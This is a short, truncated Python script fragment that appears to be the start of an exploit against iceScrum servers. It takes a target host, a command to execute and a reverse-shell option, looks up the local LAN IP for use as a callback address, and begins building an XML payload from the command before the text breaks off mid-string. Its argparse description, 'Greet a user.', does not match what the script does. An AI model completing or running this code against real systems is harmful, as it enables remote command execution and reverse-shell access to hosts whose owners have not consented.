import http.server
import socketserver
import sys
import argparse
import socket
import subprocess
import threading
import os
import platform
parser = argparse.ArgumentParser(description="Greet a user.")
parser.add_argument("--targethost", help="Target host for icescrum")
parser.add_argument("--command", help="Command to execute")
parser.add_argument("--revshell", help="Command to execute")
args = parser.parse_args()
def get_lan_ip():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
s.connect(("8.8.8.8", 80))
return s.getsockname()[0]
finally:
s.close()
except Exception:
try:
return socket.gethostbyname(socket.gethostname())
except Exception:
return "127.0.0.1"
def build_test_xml(payload):
payload_list=payload.split()
xml_payload_starter=""""""
for i in payload_list:
payload_to_add="